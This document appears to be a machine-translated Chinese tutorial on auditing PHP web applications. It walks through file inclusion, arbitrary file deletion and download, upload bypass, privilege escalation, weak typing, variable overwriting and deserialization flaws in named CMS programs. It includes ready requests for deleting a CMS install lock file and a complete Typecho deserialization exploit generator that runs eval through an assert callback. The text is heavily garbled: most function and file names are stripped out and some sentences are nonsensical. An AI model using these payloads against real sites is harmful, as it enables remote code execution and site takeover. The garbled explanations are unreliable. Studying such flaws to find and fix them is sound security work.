发布时间:2023-10-31
浏览次数:0
ftp:// — 访问 FTP URL
php:// — 访问各种输入/输出流 (I/O)
zlib:// — 压缩流
数据:// — 数据 (RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 存档
ssh2:// — 外壳 2
rar:// — RAR
ogg:// — 音频流
:// — 处理交互流
网上有很多各种伪协议的使用方法,请自行搜索。
实际审计
直接看首页index.php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
它将包含文件目录中的文件。 因为它不过滤../,所以它可以包含任何目录中的文件。 由于添加了后缀,因此该漏洞存在于较低版本的PHP中。
0x01 删除任意文件
一般来说,我们在审计任意文件删除的时候,都是先搜索函数,然后再回看。
inc\\.php
首先判断传入参数是否为空,然后进行路径拼接。 第516行出现了一个函数,我们继续跟进。
这只是一个简单的判断。 没有特殊情况。 我们来看看如何调用这个文件。
function file_path( $path ) {
$list=array();
$path= substr( $path, 0, strrpos( $path, '/' ));
$list=splits($path,'/');
return $list;
}
function arr_search($arr1, $arr2 ) {
$result=false;
foreach ( $arr1 as $v ) {
if(in_array( $v,$arr2 )) return true;
}
return $result;
}
获取参数,然后看我们传入的路径是否包含这个数组中的值,那就说明基本没有过滤,因为我们可以通过../跳回来。
:
POST /zzzp6p/admin/save.php?act=delfile
path=/zzzp6p/upload/../install/1install.lock
这里我们走的下面的分支不能删除 array( 'php', 'db', 'mdb', 'tpl' )
这个数组的文件。
要删除任何文件只需使用
path=/zzzp6p/runtime/../install/1.db
只要让 () 为 true 并取上面的分支即可。
一般来说,我们通过删除任意文件结合删除.lock来实现网站重装漏洞。
0x02 任意文件下载
任意文件下载在显示和下载文件的地方很常见。 一般来说,关注的文件与下载有关,例如。 当然,你也可以构建源代码,找到可以下载的地方。
常用下载或读取函数:()、()、fopen()
在网上找到个别审核的例子,并结合起来进行审核。 使用的源代码是TF8
搜索与down相关的单词,找到文件\\\\\\\\down.php
让我们看看 $file 参数来自哪里。 首先我们调用(),去函数中查看
毫不奇怪,路径应该从数据库中读取。 我们来看看()函数。
构建下载地址没有任何问题。 我们看看在存储地址的表中插入了哪些数据,并搜索表名lyric。
\\\\用户\\音乐\\ajax.php
我们看到 $lyric 通过了。 要清理这两个函数,我们首先进入函数。
我们传入的模式是get,然后转义()之后,我们就将其替换为空,也就是说我们基本上不能使用\\\\。 让我们来看看。
这里的正则表达式匹配我们的
.\\
?=
.php?
这里完全不明白,匹配的后缀是php? 这有什么意义呢? 只要php就可以绕过它。
所以总而言之,不要包含 \\ 和 ./。 这里我们只需要传入绝对路径即可。
登录前台找到上传歌曲的页面,插入歌词地址即可。
:
D:/phpstudy/PHPTutorial/WWW/Ear_Music/template/default/source/down.php
0x03 文件上传
文件上传只有一个函数()。 一般来说,我们可以搜索这个函数进行回溯,看看它的验证方式,是黑名单还是白名单,是不是前端限制,是不是简单的验证文件头,是不是可以绕过正则匹配,图像是否被渲染。
结合审核文件上传和全局搜索
\\\\inc\\.php
回溯一下这个函数是在哪里被调用的
使用asa可以绕过典型的黑名单验证,只需在后台添加此扩展即可
只需上传即可。 当然,你也可以使用上图中的分支。 只要传入的类型不是他的类型,就可以跳过后台添加的步骤。
0x04 文章结束
文件操作也见于写入其他配置文件,通常是缓存文件写入。
0x06 逻辑漏洞审计 0x00 简介
逻辑漏洞是指由于程序逻辑松散或功能使用不当而导致的越权访问、绕过、越权修改密码、重复安装等问题。 一般逻辑漏洞的挖掘需要一定的代码阅读能力。
0x01 越权
越权通常是由于验证不严或没有验证造成的。 一般情况下,当我们对后端进行审计,发现某个功能没有包含验证文件时,那么就很有可能发生权限越权的情况。 当然,权限越权存在很多问题,不仅仅局限于一种后端访问。
很多大型网站经常会出现权限覆盖的问题。 这也是大家在漏洞挖掘中比较喜欢的。 有些覆盖可能在黑盒测试中更容易找到,所以灵活地使用代码审计,不要限制你的想法。
超声是一个很大的话题。 我可能不能说太多,但我想请大家多看一些文章。
1、后台越权:后台部分页面不引入验证文件
比如我们这里在雄海cms中删除这个验证,就可以直接访问这个页面了。 许多程序员会忘记将其添加到每个页面。
2. 横向未授权访问:用户试图访问与自己具有相同权限的用户的资源。 例如,在没有验证权限的情况下删除收获地址会导致未经授权删除其他人的地址。
我们用这个程序来演示\\form\\index.php
他在这里并没有超越他的权限。 我这里只是解释一下,简单介绍一下如果他越权了怎么进行审计。 我们看到这段代码的最后一步是修改我们的uid的当前值,而我们的uid是从POST包中获取的。 也就是说,如果我们能够控制uid,那么我们就可以在未经许可的情况下修改别人的信息。 但是有一个验证 $uid !=('uid') and back('抱歉,数据修改失败'); 所以没有办法超越权限。 为了演示,我们可以将其删除并看一下。
UID为1的用户信息已成功修改。
3. 垂直覆盖:低级别用户尝试访问高级别用户的功能。
0x02 验证不严格
这里使用的是雄海CMS。 我们随意点击一个后台页面,里面有一个验证文件。
'../inc/.php'; 我们来看看这个文件
判断我们的用户是否为空。 如果不为空,我们就可以访问后端了。
0x03 安装程序逻辑问题
找了很久源码,发现红日安全已经写了一个——Log1.6,所以这里就用他的源码。
这里他判断是否安装,然后直接跳转到主页。 如果程序不退出,那么后续的程序仍然可以执行,也就是说后续的程序可以直接通过post方式安装。
这种错误退出导致的漏洞还是蛮多的,大家可以在后台等地方密切关注。
0x04 文章结束
当然,逻辑漏洞不仅限于这些。 还存在绕过验证码逻辑、功能缺陷等问题。 我建议您阅读更多其他人的审计文章。
0x007 函数或弱类型的缺陷和特征 0x00 ()
(,array,type) 如果给定值存在于数组 array 中,则返回 true。 如果第三个参数设置为 true,则仅当该元素存在于数组中并且具有与给定值相同的数据类型时,该函数才返回 true。 如果在数组中未找到该参数,则该函数返回 false。
那么为什么会出现安全问题呢? 我们看一下下面的代码
如果不设置第三个参数,()函数会将1和1=1转换成数字1进行比较。 这会导致一些安全问题,在注入或上传的情况下可能会被绕过。
0x01()
() 函数将判断变量是数字还是数字串。 如果我们传入的字符串是十六进制,那么它也将被视为数字。
我们知道,当我们向mysql中插入数据时,可以是十六进制的。 取出来后又会恢复原来的字符串。 这样,使用()函数检测后,就有可能出现二次注入。
0x02 PHP弱类型特征
PHP 是一种弱类型语言。 使用==比较字符串时,会将字符串类型转为相同类型再进行比较,这也会带来一些问题。
当它在字符串中遇到0e和0x时,就会解析成相应的科学计数法和十六进制。
0x03()
当case为数值类型时,参数将转换为int类型。
0x04()
比较函数如果两者相等则返回0,>返回>0,否则小于0。在PHP 5.3及更高版本中,当()括号位于数组和字符串之间时,也会返回0。
0x05()
如果在进行正则表达式匹配时没有对字符串的开头和结尾(^和$)进行限制,则可能会出现绕过问题。
0x06 文章结束
当然还有反序列化、变量覆盖等,这里就不一一写了。 我会分别写。 还有一些功能特点大家可以自行搜索。
0x008 变量覆盖率审计 0x00 简介
变量覆盖,顾名思义,可以覆盖现有的变量值。 导致变量覆盖的漏洞包括:
()、()、bles()使用不当,或者使用了$$或者启用了全局变量注册。
0x01 变量覆盖演示
()
(array,,)函数将数组中的变量导入到当前符号表中,即将数组中的键值对注册为函数,以数组键名作为变量名,以数组键值作为变量值。
可以看到我们的初始变量值为a,但是覆盖后它就变成了我们输入的值。
()
() 函数用于将查询字符串解析为变量。 如果没有数组参数,则该函数设置的变量将覆盖现有的同名变量。 使用不带数组参数的函数,不设置参数的行为将在 PHP 7.2 中被弃用。 该函数没有返回值。
布莱斯()
bles ($types, $) 将 GET/POST/ 变量导入全局范围。 types参数指定需要导入的变量。 G代表GET,P代表POST,C代表。 该函数只能在PHP4.1~PHP5.4中使用。
$$
一个典型的例子就是将数组中的值作为变量进行迭代。
$_key的值为a,则$a的值被覆盖为2。
还有全局注册,PHP配置默认关闭。
0x02 实际审核
这次用的就是cms的可变覆盖漏洞。 按照主页查看核心配置文件。
\\\\.inc.php
看该文件的第24行到28行,很明显使用了我们上面提到的&&变量覆盖方式,只不过这里他用了()来防止注入,不过并不影响我们本章讲的知识。
只需转到一个子文件,看看它是如何加载的 \\news\\index.php
第7行包含一个变量,那么这个变量在哪里呢? 我们来跟进一下。
/.php 查看并在该文件中搜索 $。
其实这里低版本的源码中并不存在$=''这句话; $变量都在$!=7的if条件下。 我给你打包的就是低版本的,我安装错了。就是说只要我们传入的$的值为7,那么我们就可以覆盖$的值
只需上传一张图片或其他文件即可包含它,因为它的后缀当时尚未确定。
覆盖变量时,一定要注意初始化值和覆盖的顺序。
0x009 反序列化审计 0x00 简介
PHP 反序列化漏洞。 当我们使用()进行反序列化时,如果反序列化的对象中有一些我们可以使用的魔法函数,并且传入的变量是可控的,那么这个过程就可能会触发这个魔法函数。 来执行我们想要的过程。
0x01 初识反序列化
对于反序列化,我们需要了解 PHP 类和魔术方法。 这是一个简单的例子。 使用的神奇方法是在销毁类之前执行析构函数方法。
创建对象时打印我们的$a变量的值。然后我们改变它的值并使用()来看看
O:4:"test":1:{s:1:"a";s:5:"12345";} 就是我们序列化的值,然后
($_GET['id']); 传入我们改变的值 O:4:"test":1{s:1:"a";s:3:"404";} 成功打印了我们改变的值,因为反序列化我们可以控制类属性和这个过程就会触发这些可以触发的魔法方法。
您可以在互联网上找到一些神奇的方法。 当然,也有一些是可以绕过的。 请搜索他们。 我这里就不详细说了。 具体情况我会具体分析。 比较困难的反序列化还是需要很大的耐心才能完成。
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
0x02 一个简单的问题
下面我改写了一个简单的CTF,看看如何使用。
class foo1{
public $varr;
function __destruct(){
$this->varr->evaltest();
}
}
class foo2{
public $str;
function evaltest(){
eval($this->str);
}
}
?>
我们看到eval存在于foo2中的()函数中,并且在foo1中调用了()函数。 我们想知道foo1是否可以调用foo2中的()函数并重写其$str中的值。
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
}
}
class foo2{
public $str;
function __construct(){
$this->str = 'phpinfo();';
}
}
$obj = new foo1();
echo serialize($obj);
?>
我们将 $varr 变量分配给 new foo2(),然后它调用 () 函数,然后我们将 $str 的值更改为我们想要执行的命令。
0x03 实例审计
找了半天源码,觉得最有意义、审核最多的反序列化漏洞就是.1版本漏洞。 看起来可能有点困难,所以我会尝试更详细地分析它。
来到.php文件
我们看到,要绕过.php程序的退出,我们只需要传入一个不为空的值,并且是这个站点的值。
我们来到核心部分
这里调用了类的get方法。 这里我就不跟进了。 就是获取到的字段值,然后将()反序列化,赋值给变量$。 然后我们全局搜索,没有找到可以使用的魔法方法之类的。 观点。
然后我们跟进这个类,看到它传入了$['']和$['']。
var\\\\Db.php
如果你使用 . 将 $ 连接到一个类, () 魔术方法将被触发。
然后全局搜索()看看哪里可以使用,找到\\var\\\\Feed.php。
如果 $item[''] 是一个类并且是私有或未定义的属性,则会自动触发 __get() 。
然后我们搜索一下是否有__get()可以使用
var\\\\.php中有这么一个地方
我把所有后续代码放在一起。 __get 调用 get() 函数,然后调用 () 函数。 还有一个回调函数可以导致命令被执行。
()和()的参数还是可以控制的,这样我就完成了攻击链的查找。 下面我们来梳理一下。
攻击链:
install.php
|
绕过程序退出来到unserialize()
|
db.php中__construct() 触发__toString()
|
Feed.php中__toString触发__get()
|
request.php中__get()调用get()->_applyFilter()->回调函数
下面我们来构造exp。 为了方便理解,我们可以从头到尾写下来。
首先,我们需要 $in 的值是一个命令函数。 这里我们一般选择(),然后我们需要get()中的$value是我们传入的命令,也就是[''],所以可以这样构造。
class Typecho_Request
{
private $_params = array('screenName' =>'eval(\\'phpinfo();exit();\\')');
private $_filter = array('assert');
}
request.php
构造完了再构造Feed.php
中需要的值,这里我们要进入$item
['author']->screenName
这个前面有个self::RSS2 == $this->_type
语句 RSS2= RSS 2.0所以赋值对应的,这里的调用跟我前面写的那个CTF类似。
class Typecho_Feed
{
private $_type = 'RSS 2.0';
private $_items ;
public function __construct (){
$this->_items[] = array('author' => new Typecho_Request());
}
}
最后,当我返回.php时,我看到 $db=($[''],$['']); db.php中的()需要传入2个值,但默认有一个,所以我们传入一个像上面我们序列化的值一样的值就可以了。
:
class Typecho_Request
{
private $_params = array('screenName' =>'eval(\\'phpinfo();exit();\\')');
private $_filter = array('assert');
}
class Typecho_Feed
{
private $_type = 'RSS 2.0';
private $_items ;
public function __construct (){
$this->_items[] = array('author' => new Typecho_Request());
}
}
$payload = array('adapter'=>new Typecho_Feed());
echo base64_encode(serialize($payload));
?>
为什么();exit();中有exit()? 因为程序开始使用()函数将输出放入缓冲区。 触发异常后,()会清空缓冲区,导致没有回显。 所以我们可以找一个函数跳出,或者执行完后报错跳出,或者写一句不回显。
这种类型的反序列化通常很难找到。 我个人觉得从两端向中间查找比较容易,找到可以使用的入口,然后找到可以使用的功能,然后找到一条从入口点到使用点的路。
0x04 文章结束
反序列化还可以与.php注入等注入结合起来。
0x010 阅读全文审核 0x00 简介
阅读全文后,我建议您开始审核一些更容易理解的 CMS。 我们先看一下网站的总体框架。 说到这里你大概知道哪些文件夹包含哪些类型的文件了。 然后从index.php文件开始读取,重点关注是否有全局过滤等。
0x01 实例审计
本文使用的源码是我们通过这个程序来大致了解一下如何通读全文代码进行审计。 我们这里只做简单的分析,不做深入的审核。
了解网站框架
├─admin //后台
├─config //配置文件
├─form //前台
├─images //图片
├─inc //包含文件
├─install //安装文件
├─js //js文件
├─plugins //插件
├─runtime //临时
├─search //搜索
├─template //模板
├─upload //上传文件夹
└─wap //手机
首先我们看到这个结构。 任何有一点审计背景或懂一点英语的人都应该能够理解这些目录的含义。 当然,也有一些程序员喜欢不同的命名规则。 一般情况是这样的。
了解网站过滤和路由
我认为阅读全文并不是浪费时间,而是浪费时间。 我们一般应该先阅读它的核心文件,这些文件通常位于文件夹中。 如何找到核心文件通常取决于文件名,例如main.c。 等等,你还可以看看文件大小。 一般来说,core文件包含的函数较多,且比较大。 也可以通过入口文件一步步看。 例如,这里的核心文件是.php。 我们只关注先获取参数以及是否有全局过滤器。
我们来到\\inc\\.php
() 解析网址
() 获取参数
过滤函数()但通常过滤函数会包含一些字符如safe或()()
了解系统DB类
除了这个文件之外,我们还可以查看mysql db等关键字文件,看看它的数据库连接方式是否存在宽字节注入的可能性,以及它的连接方式。
开始审核
读完这个,我们就可以从index.php中一层一层的读取了。
转到index.php并直接包含文件inc/.php。 先判断,后执行。
见最后一句(G('sid'),G('cid')); 这里调用了()函数,我们可以跟进看一下。
输入 if 分支
if ( $sid > 0 ) {
$data = db_load_one( 'sort', 'sid=' . $sid );
跟进函数db_load_one()
这里会把传入的&替换为and
跟随函数()
这里不再赘述,只介绍一下思路。 基本上我确信如果传入的参数不经过过滤的话,这里就会有注入。
这里如果你跟踪G(),你会发现它是通过$['sid']获取的,即前面解析的URL获取到的值没有被过滤,所以这基本上是一次注入。
读完这些文件后,我们可以从各个函数文件夹的索引中读取它们。 例如,这里我们来到\\\\index.php
define('LOCATION', 'search');
require dirname(dirname(__FILE__)). '/inc/zzz_client.php';
我们回到刚才跟进的文件/inc/.php,搜索关键词
然后阅读源码分析
case 'search':
$tplfile= TPL_DIR . 'search.html';
break;
看到选择后,值被赋值给变量$,然后我们正在跟踪变量在哪里
被称为
我找到了解析模板的过程,然后顺着它到了inc\\.php并阅读下面找到了一个函数()
()函数获得过滤器后,同样经过()函数过滤,但是下面有一个函数好像也是获得参数,不过这个使用了函数isset(),这是一个检测变量的函数。 如果定义了,那就是true,所以你根本进不去这里,否则就是注入了。 当然,这也是旧版本的注入。 我这里的版本已经修复了。 接下来sublime text 3 函数追踪,你可以从admin的index.php开始阅读sublime text 3 函数追踪,多关注一些功能点。 建议构建它并熟悉整个程序。
0x02 文章结束
通过读到这里我们可以知道,他调用()函数的时候我们基本上不考虑注入,因为已经被过滤了,除非后面有其他函数处理。 在调试复杂语句时,我们可以使用mysql监控软件来调试。 当我们发现某个类型的函数或者编写方法存在漏洞时,我们可以利用全文检索的方式找到相同的代码,对该类型进行完整的挖掘。
结尾。
欢迎转发~
如有侵权请联系删除!
Copyright © 2023 江苏优软数字科技有限公司 All Rights Reserved.正版sublime text、Codejock、IntelliJ IDEA、sketch、Mestrenova、DNAstar服务提供商
13262879759
微信二维码